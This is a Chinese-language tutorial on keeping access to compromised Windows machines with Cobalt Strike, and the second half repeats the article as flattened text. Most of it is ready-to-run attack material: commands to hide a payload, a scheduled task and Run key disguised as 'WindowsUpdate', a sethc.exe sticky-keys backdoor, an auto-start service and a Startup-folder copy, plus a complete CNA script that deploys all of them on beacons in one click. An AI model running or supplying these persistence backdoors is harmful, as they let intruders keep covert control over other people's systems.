初探CobaltStrike权限维持及其自动化
字数 1024 2025-08-26 22:11:34

Cobalt Strike权限维持技术详解

0x01 前言

Cobalt Strike是一款基于Metasploit的GUI框架式渗透测试工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、exe/powershell木马生成等功能。在实际渗透测试中,权限维持(Persistence)是确保长期控制目标系统的关键技术。

0x02 权限维持技术详解

1. 隐藏文件属性

使用Windows的attrib命令可以隐藏文件,避免被轻易发现:

attrib C:\test.exe +s +h
  • +s:设置系统属性
  • +h:设置隐藏属性
  • 取消属性:将+换成-即可

2. 计划任务(Schtasks)

schtasks命令可以创建定时任务,比传统的at命令更强大:

schtasks /create /tn WindowsUpdate /tr "C:\test.txt" /sc minute /mo 1

参数说明:

  • /create:创建新任务
  • /tn:任务名称(TaskName),必须唯一
  • /tr:要运行的程序路径(TaskRun)
  • /sc:执行频率的时间单位(schedule)
  • /mo:执行频率的时间数值(modifier)

删除任务:

schtasks /delete /tn WindowsUpdate

3. 注册表启动项

修改注册表实现开机自启动:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f

路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4. Shift后门

替换系统sethc.exe实现后门(需要SYSTEM权限):

takeown /f C:\windows\system32\sethc.* /a /r /d y
cacls C:\windows\system32\sethc.exe /T /E /G system:F
copy "C:\test.exe" C:\windows\system32\sethc.exe /y

5. Windows服务

使用sc命令创建服务实现自启动:

sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe"
sc config "WindowsUpdate" start= auto
net start WindowsUpdate

注意:

  • 参数值与等号之间必须有空格
  • 默认以SYSTEM权限运行
  • 在PowerShell中执行可能有问题,建议在cmd中执行

6. 自启动目录

将文件复制到启动目录:

copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h

注意:如果用户不是Administrator,需要修改路径

0x03 Cobalt Strike自动化实现

以下是Cobalt Strike的CNA脚本实现一键权限维持:

popup beacon_bottom {
    menu "权限维持" {
        item "设置路径" {
            local('$bid');
            foreach $bid ($1){
                prompt_text("filePath", $filePath, {
                    $filePath = $1;
                    return $filePath;
                });
            }
        }
        
        item "隐藏文件" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "attrib \"$filePath\" +s +h");
            }
        }
        
        item "定时任务" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
            }
        }
        
        item "注册表" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
            }
        }
        
        item "SC服务" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
            }
        }
        
        item "shift启动" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
            }
        }
        
        item "自启动目录" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
                bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
            }
        }
        
        item "懒人攻略" {
            local('$bid');
            foreach $bid ($1){
                bshell($1, "attrib \"$filePath\" +s +h");
                bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
                bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
                bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
                bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
                bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
                bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
            }
        }
    }
}

使用"懒人攻略"可以一次性设置所有权限维持方法,重启后通常会获得四个会话(1个SYSTEM权限和3个admin权限)。

0x04 总结

有效的权限维持策略应该结合多种技术:

  1. 首先隐藏恶意文件
  2. 设置多种自启动方式(注册表、服务、计划任务等)
  3. 考虑不同权限级别的持久化(SYSTEM和用户级别)
  4. 使用自动化工具提高效率

GitHub项目地址:https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna

Cobalt Strike权限维持技术详解 0x01 前言 Cobalt Strike是一款基于Metasploit的GUI框架式渗透测试工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、exe/powershell木马生成等功能。在实际渗透测试中,权限维持(Persistence)是确保长期控制目标系统的关键技术。 0x02 权限维持技术详解 1. 隐藏文件属性 使用Windows的 attrib 命令可以隐藏文件,避免被轻易发现: +s :设置系统属性 +h :设置隐藏属性 取消属性:将 + 换成 - 即可 2. 计划任务(Schtasks) schtasks 命令可以创建定时任务,比传统的 at 命令更强大: 参数说明: /create :创建新任务 /tn :任务名称(TaskName),必须唯一 /tr :要运行的程序路径(TaskRun) /sc :执行频率的时间单位(schedule) /mo :执行频率的时间数值(modifier) 删除任务: 3. 注册表启动项 修改注册表实现开机自启动: 路径: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4. Shift后门 替换系统 sethc.exe 实现后门(需要SYSTEM权限): 5. Windows服务 使用 sc 命令创建服务实现自启动: 注意: 参数值与等号之间必须有空格 默认以SYSTEM权限运行 在PowerShell中执行可能有问题,建议在cmd中执行 6. 自启动目录 将文件复制到启动目录: 注意:如果用户不是Administrator,需要修改路径 0x03 Cobalt Strike自动化实现 以下是Cobalt Strike的CNA脚本实现一键权限维持: 使用"懒人攻略"可以一次性设置所有权限维持方法,重启后通常会获得四个会话(1个SYSTEM权限和3个admin权限)。 0x04 总结 有效的权限维持策略应该结合多种技术: 首先隐藏恶意文件 设置多种自启动方式(注册表、服务、计划任务等) 考虑不同权限级别的持久化(SYSTEM和用户级别) 使用自动化工具提高效率 GitHub项目地址:https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna